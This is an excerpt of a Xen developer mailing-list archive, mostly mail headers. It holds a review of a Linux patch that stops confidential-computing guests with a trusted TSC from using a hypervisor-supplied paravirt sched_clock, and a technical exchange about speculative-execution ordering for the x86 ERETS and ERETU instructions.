 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:01:07 +0200
Received: from CY5PR15CA0138.namprd15.prod.outlook.com (2603:10b6:930:68::20)
 by DS7PR12MB6287.namprd12.prod.outlook.com (2603:10b6:8:94::21) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.10; Wed, 8 Jul
 2026 05:01:01 +0000
Received: from CY4PEPF0000EE3F.namprd03.prod.outlook.com
 (2603:10b6:930:68:cafe::ab) by CY5PR15CA0138.outlook.office365.com
 (2603:10b6:930:68::20) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.10 via Frontend Transport; Wed, 8
 Jul 2026 05:00:55 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 CY4PEPF0000EE3F.mail.protection.outlook.com (10.167.242.17) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Wed, 8 Jul 2026 05:00:55 +0000
Received: from satlexmb10.amd.com (10.181.42.219) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 00:00:53 -0500
Received: from satlexmb08.amd.com (10.181.42.217) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Wed, 8 Jul
 2026 00:00:53 -0500
Received: from [10.252.210.85] (10.180.168.240) by satlexmb08.amd.com
 (10.181.42.217) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Wed, 8 Jul 2026 00:00:42 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=CLDoeGeCKqsQLuGDRolc48q+PNhzUpcyOFfI7lqPhkMXhCjnc4Xtgzzr8qhA5ysKbDFT3a2UzD/WIAE6lTrMdj6DsgLUe5gYpmpIMBfWvIpeurP/TQSXwBpXpCpHOD6+2N7Erwch9BJYHKOJ08ieE6YqTAzJR/2TvLVNAa4h7oVSPuTINz9Dj4Kx1l5tpEM3GqbFZW78pWm24UYAmQ1wAljYUaQjIiooOYweknS2HJAIJuVjx06E/pKUE5U6LLX3A0iOtTs7JI7pv0qy6Wh/EW1qdfjMmatLxWk+VzFQD9GFhU3J5RUbWBVn5phHH28VwXa+rFf5+G9Q+k/U2D+9Kg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Eqr2Nfue4Gpy3xYbMW1647pTXhjbpkE+JNpob8rQ3u0=;
 b=Gxe326BFoTjzmpHYlQmdCqOhb3tBkoTRcEXAD49cKoBOetMROgsCgfR32xioWcGfQ5RGQbnvcEP92ZzitWSAIZqU1gQ2ym6COweNkNbUePS847Kvw9FJyiYTljqqhKllMThHi8cEIXgbmwU4RfL2dDF3HbMbTdWh87vaXKP9h331ENT7uThXGxMEzX4WxLjy75ayHDdJGwZWcvuYXs+wJNbRXLDe8TX/nCg3B6Yovtu5E0EgWdaeLRPNhag1pkVtGjqWVxeggU0cfSa+aAq1IRecCHrKQpxN8gk4ad64YikHF+zdKehMOX6XOC8DoDPu27VUBdy64RAAFRknYSS//A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=google.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Eqr2Nfue4Gpy3xYbMW1647pTXhjbpkE+JNpob8rQ3u0=;
 b=P6KZYBaxKc6BpjtITTmtYuftV7aYW8OZWNCrgAi4balxnXqROATjbsQtnSq1vA9G+MVYxGgBxhdazfnxKZWZFILaRUdN0VjZYgL3O0c2uP3M2fwMmSjfoH0pEcqRU4asocE9ChghIEiy31CpMbA2dpbujCJgMCyy6xmCHOQqGZU=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <e48ba6a5-e909-43f3-b971-17cebdffcbf4@amd.com>
Date: Wed, 8 Jul 2026 10:30:41 +0530
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 47/51] x86/paravirt: Don't use a PV sched_clock in CoCo
 guests with trusted TSC
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, "Ingo
 Molnar" <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, <x86@kernel.org>, Kiryl Shutsemau
	<kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K. Y.
 Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>, "Wei
 Liu" <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, "Andy
 Lutomirski" <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	<linux-doc@vger.kernel.org>, <kvm@vger.kernel.org>,
	<linux-kernel@vger.kernel.org>, <linux-coco@lists.linux.dev>,
	<linux-hyperv@vger.kernel.org>, <virtualization@lists.linux.dev>,
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	David Woodhouse <dwmw@amazon.co.uk>, David Woodhouse <dwmw2@infradead.org>,
	Michael Kelley <mhklinux@outlook.com>, Thomas Gleixner <tglx@linutronix.de>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-48-seanjc@google.com>
Content-Language: en-US
From: "Nikunj A. Dadhania" <nikunj@amd.com>
In-Reply-To: <20260701193212.749551-48-seanjc@google.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000EE3F:EE_|DS7PR12MB6287:EE_
X-MS-Office365-Filtering-Correlation-Id: 0ed22401-cf4b-4db4-f9c4-08dedcade4a8
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|1800799024|32650700020|23010399003|376014|7416014|36860700016|11063799006|56012099006|4143699003|22082099003|18002099003|921020;
X-Microsoft-Antispam-Message-Info:
	hicUHZf7gSTC9rlKhsIuWxrLKyaONb75ZL6t/0wa9SiHSEMC19SVhZjHkGll0Hzfr9giscI3l+EjdJINV3wmoKOLnt+EQ0iZFBK4aJzpOdq2oX9IcTTSSTYgHJFQlXv6U/RWwaFQV8U2Z5T1bEGgxyRwWrpFudiPMnUM/ntDkjmxo7zIeT0Wg3+ZbUtHOh9F/oWAATJpkTosjpNiuxmOeCYUlv4bfeeS661U9owNO4hrFRUYCgZWVE5E++pwZ/FHQhtKYb6++cnhiMXKl3Tvovk9QX2b0zpBgJNsTG45myWHzN1VmnmKbABwtu5QKjrCh8pfgEOxeObrajkA6upMTVA5sFTfgmQiucdo0cZ9X7WGWij7H9VuNUqBV39ZThzD+9oG6OeCtcBcwu8YCb9epzQmaochipsLztx7H6rwZ/G0THAUKvTlulnmOGm9T3ynlyCETPOUxMjacOamoD1lGudjiKOp/JvRan6as2x+zDYNNCZmhaKTS4VaCVAnUvRhY7ZZtjPhYE2WUy3UBuWRBeslWBbOZPl6mDo0NYhAdutAIKNuLbt9dwzz7lSI2dwbby3txD2LTZMbixrZYdv8nR1iHIz6m7NuvFsPiisGaW9oWkBWlSymlZSeHf+r8ktdVxQMCGNzIZBNfWGGbxMnt/0KtTElHWt58jjDjIU5CPy5wZCxAcfpvIZXVRwKvfDcAOlF92Nu6nJ/0X3NjfiD6PcdIv5AU4ROSn5VYY2QmrErd3OCWrvhA+1Eb09r36NM
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(1800799024)(32650700020)(23010399003)(376014)(7416014)(36860700016)(11063799006)(56012099006)(4143699003)(22082099003)(18002099003)(921020);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	zaoEsGbRqKJtvHxF7Cp7T4h6fpbC+IQ1bcqTKUXjPqC4nToKNP1pgGG2dGwPmwBX/uwMDmU8HMTRiIY9QNanhb36RkGJh7po0Uiaf2z8+eMG8tmP9UpYZrBL1I1DjnTDzRfF7JZWMRjjx8m1O0B857aEZehV5lPOVmYQ+J8y1HmVMvacnQHSXRUzqGg2poz48mf3EQ0y6WSIgktjX0zYcnseZGoSqtznKBhM6M28pO7HjUKz8qfBQAOYtOXu2S6rx8T4zuK8hbwFEHIJ9mcyc0SbVaup1U77Syy8gzP4HbY9H2H5x27dQsqMvo66BKOHHs/zuC5vP99APeLkbuk0gIsP0OzYP5CgcwS2liH8jhsy7fa2isulNyYhT+Zb05BcHP+UzKlo4IyzmX5Bx7f1W93GIo1H0HNVW90gIFmhSzSwtf3k2dk7GTPiS3z3FEcf
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 08 Jul 2026 05:00:55.6041
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 0ed22401-cf4b-4db4-f9c4-08dedcade4a8
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000EE3F.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DS7PR12MB6287
X-purgate-ID: tlsNG-c1860d/1783486867-A3B343FC-9D7937C9/0/0
X-purgate-type: clean
X-purgate-size: 1473



On 7/2/2026 1:02 AM, Sean Christopherson wrote:
> Silently ignore attempts to switch to a paravirt sched_clock when running
> as a CoCo guest with trusted TSC.  In hand-wavy theory, a misbehaving
> hypervisor could attack the guest by manipulating the PV clock to affect
> guest scheduling in some weird and/or predictable way.  More importantly,
> reading TSC on such platforms is faster than any PV clock, and sched_clock
> is all about speed.
> 
> Reviewed-by: David Woodhouse <dwmw@amazon.co.uk>
> Signed-off-by: Sean Christopherson <seanjc@google.com>

Reviewed-by: Nikunj A Dadhania <nikunj@amd.com>

> ---
>  arch/x86/kernel/tsc.c | 9 +++++++++
>  1 file changed, 9 insertions(+)
> 
> diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
> index 012321fed5e5..a146fc7b5e74 100644
> --- a/arch/x86/kernel/tsc.c
> +++ b/arch/x86/kernel/tsc.c
> @@ -283,6 +283,15 @@ bool using_native_sched_clock(void)
>  int __init __paravirt_set_sched_clock(u64 (*func)(void), bool stable,
>  				      void (*save)(void), void (*restore)(void))
>  {
> +	/*
> +	 * Don't replace TSC with a PV clock when running as a CoCo guest and
> +	 * the TSC is secure/trusted; PV clocks are emulated by the hypervisor,
> +	 * which isn't in the guest's TCB.
> +	 */
> +	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC) ||
> +	    boot_cpu_has(X86_FEATURE_TDX_GUEST))
> +		return -EPERM;
> +
>  	if (!stable)
>  		clear_sched_clock_stable();
>  



From xen-devel-bounces@lists.xenproject.org Wed Jul 08 05:51:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 05:51:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356606.1611174 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whLCI-0007DD-TZ; Wed, 08 Jul 2026 05:51:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356606.1611174; Wed, 08 Jul 2026 05:51:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whLCI-0007D6-Q7; Wed, 08 Jul 2026 05:51:50 +0000
Received: by outflank-mailman (input) for mailman id 1356606;
 Wed, 08 Jul 2026 05:51:49 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whLCH-0007D0-4h
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 05:51:49 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whLCF-008X4Y-IH
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 07:51:47 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4de570-5cb7-0a2a0a5109dd-0a2a4508a72a-8
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:51:47 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4de573-edec-0a2a45080019-d155802bc526-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 07:51:47 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-493c7902f47so1337035e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 22:51:47 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493e5a6240fsm26032745e9.2.2026.07.07.22.51.46
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 22:51:46 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783489907; x=1784094707; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=/nHHna5FscLGw+zvZ+qQCNakjVaTtZ6wRM76t+L989s=;
        b=KS1hB5cV9dPzQnb/SS8aa03fTJfG9eQuSh4ZMkvDtmK9oM+zKmpXbDJwxrgoiS0ESl
         6XeBVw909svusf9VPNl5mPUnzujz4VS/ew7VBk8vVWDdHDGPMOkmJ47Wpe2/hUUVxVaX
         bwSQcPbKD+Ab4D+poQEep4Alk80mpaSBcZISU2xPYe8uOTM9Ez49bjmorF1j1+/Krioo
         daW3TTvznoi8uTIEcrQBMO2fu2AXG1Nr4OPWfks2eAusNWgFv72CRu0Na37tYOjSko+1
         XmAhuoirsucomgaGtyp8Bqr8Bbk0LfEy0v+itD0m8kHzcoHcv/sZ7FEV4e4myYaOg5Gx
         578g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783489907; x=1784094707;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=/nHHna5FscLGw+zvZ+qQCNakjVaTtZ6wRM76t+L989s=;
        b=azH+eJIPUTn9d4wudJCB3o4edZPPXPB15+DKQ1UZ1uFJ+3mHDU9v4vDZerErUrH2vI
         aS5S0YvPqOKRNhFpxDhI841jNr9qDrbLmOeXN4sJbKvV9+A4ryatHbrrFamYZeaSpjt/
         bFGzH90y8upDOb6Z9dR/7dIhayq9AjQNbmHUsZ0t4iAB00Yyxw1UpQFtCBtqsZu9Xn/t
         Vj8OLTJVsq8dei0piyeS1TQHZ4PrSRsygFSEGWm3HA4ZGR2KZuqWj9sQE4w2n3Sea7oM
         qjHWOfx1ZIBuhSCKIAl85mwiKg5n89qAOuBumtFFbFCYytr0usybQ6jVujB1I+3p3udX
         jyPQ==
X-Forwarded-Encrypted: i=1; AHgh+Rq5KDBd9urnQf34Ckuueyqm9n5LDAvynXlBR4RsbT1c3TMZSGMHsrBs/ufmGbxLrlQ3AmrPpL0unLg=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yyk2JIJ4mxzxVgz4/Ps5RmGZTOYewRCBUC1U4jvuL03l1xwXyun
	ZzKrH+XFHB1vXCZAB9GG509B1G4cR0c/6qd9QiE+RFEiPA2qlfkntdDyiioj3pYNYg==
X-Gm-Gg: AfdE7ckBW4KwgTn2pV5zkzIOG0yMZQDCq01zi4C8xxa1qxoa10e5cJXUav4BVQOYKDp
	qzN8syIWzF2RdGjp6yysWph87XL2R+BeylYY02OvWYSDbs1/hsUtP8gurpbL5YnowANbV2Hdzoa
	+1sOxGZfgI8RFqTWE4ZtgMhfBNSeogGw5yOjlRRdQGTei3Fpo5FKJEv8ochfmoRZpSqzpFDh9yl
	0AIXQNtCSMP8x2tuAxBoQEjcUJQa6gX4vq5/fYw3q9Aps+fYzuL15Xa/7Fvnhh26Fu7kymg55At
	uHdQuwAbz+64gC9XzeKxUD4Ogrx63Y8uZy0AXzOmOjQpdi8aVWiDs7+c7BkwPc8nYO2/5gUMC9X
	AzaIh1fhZ2/9HxRkZaZxOrahHyj5a4IXhKNYATQkivYIPLKfqHCMHtILSU4ZozsA2fSLTIerr9+
	ptusZYsr7mIPdx2wLk7ZEuIqfd9euuqURfLn0iIonSC225aoi6ktcHnqeLcctfmVDlJVyWswd1G
	WOI
X-Received: by 2002:a05:600c:c84:b0:493:aa24:792b with SMTP id 5b1f17b1804b1-493e685fef8mr6919855e9.22.1783489906779;
        Tue, 07 Jul 2026 22:51:46 -0700 (PDT)
Message-ID: <aaf50f82-d3c6-4d85-a208-e719a567b018@suse.com>
Date: Wed, 8 Jul 2026 07:51:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 3/3] x86/entry: Use PUSH_AND_CLEAR_GPRS and drop SAVE_ALL
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>,
 Xen-devel <xen-devel@lists.xenproject.org>
References: <20260706153415.1264750-1-andrew.cooper3@citrix.com>
 <20260706153415.1264750-4-andrew.cooper3@citrix.com>
 <6c4bb5bc-be27-4eef-a08f-1dd96df81304@suse.com>
 <5869bc7a-94cc-46dd-b8fd-b1582e12ec26@citrix.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+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d-b8fd-b1582e12ec26@citrix.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1783489907-A23203FC-97BBBD27/0/0
X-purgate-type: clean
X-purgate-size: 1280

On 07.07.2026 18:09, Andrew Cooper wrote:
> On 07/07/2026 8:16 am, Jan Beulich wrote:
>> Btw, as it occurs to me while mentioning SLS: Judging from the patches I
>> have, IRET looks to be immune, albeit I can't find any statement in the doc.
>> What about ERET{S,U}, uses of which we've gained only relatively recently?
> I think the bit you want is in SDM Vol2.Â  For ERETS:
> 
> "Instruction ordering. Instructions following execution of ERETS may be
> fetched from memory before earlier instructions complete execution, but
> they will not execute (even speculatively) until all instructions prior
> to ERETS have completed execution (the later instructions may execute
> before data stored by the earlier instructions have become globally
> visible)."
> 
> and says the same for ERETU.Â  Sadly, "following" is ambiguous in the
> context of SLS, but an ERETS-to-self could end up legitimately executing
> the next sequential instruction.Â  Either way, the "not execute even
> speculatively" is the property wanted.

There's a worse ambiguity here, imo: What they say excludes ERETS itself.
I.e. while ERETS itself executes, subsequent instruction may already be
speculated.

Interestingly the FRED spec (9.0) says such only for ERETU, not ERETS.

Jan


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 06:15:56 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 06:15:56 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356615.1611183 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whLZP-0001w3-Gi; Wed, 08 Jul 2026 06:15:43 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356615.1611183; Wed, 08 Jul 2026 06:15:43 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whLZP-0001vw-E9; Wed, 08 Jul 2026 06:15:43 +0000
Received: by outflank-mailman (input) for mailman id 1356615;
 Wed, 08 Jul 2026 06:15:42 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whLZO-0001vq-78
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 06:15:42 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whLZM-008bha-Ay
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 08:15:40 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4deb06-5cb7-0a2a0a5109dd-0a2a450ca842-12
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 08:15:40 +0200
Received: from [209.85.221.51] (helo=mail-wr1-f51.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4deb0b-f399-0a2a450c0019-d155dd33d5e8-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 08:15:40 +0200
Received: by mail-wr1-f51.google.com with SMTP id
 ffacd0b85a97d-47c6e9a694bso146998f8f.1
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 23:15:40 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47aa0f2186bsm39179942f8f.36.2026.07.07.23.15.39
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 07 Jul 2026 23:15:39 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1783491339; x=1784096139; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=FS+okSTrlpGdNwPnNqvozFFhLfsc0f1GG8/L1AHK2l8=;
        b=eSfpf6FkzPnpVz5W0yBWXVGA8IEm+1/NNzVtbJEi3K3pxIVqfPnYlrXx2B+ZSOP8Br
         ii0sbXx5cmhUuDUGo98UmDDWkBmlsy34oVQu/4XIUSciJxQqpy1Euacij058LIupYALj
         //RfRYpAcLMEzH2AKvYeVwaTsTJZPKYzGUZjn4gIHy1FgGfZRoHAZG/C4Xe7c4c1OuK+
         3LpxCgYlLNoX/8H8DenMtnAL9FLJo2CxILoc14G2eezYly+eW8UokTmmcLXGSrMhS3Bu
         HGigDAjAe9IBpwE4+dLsPUlRCKbIaGJV+n8L3pv/Ee5i+s99CXqrjd8ZG5e1XcEFvg/j
         NTcw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783491339; x=1784096139;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
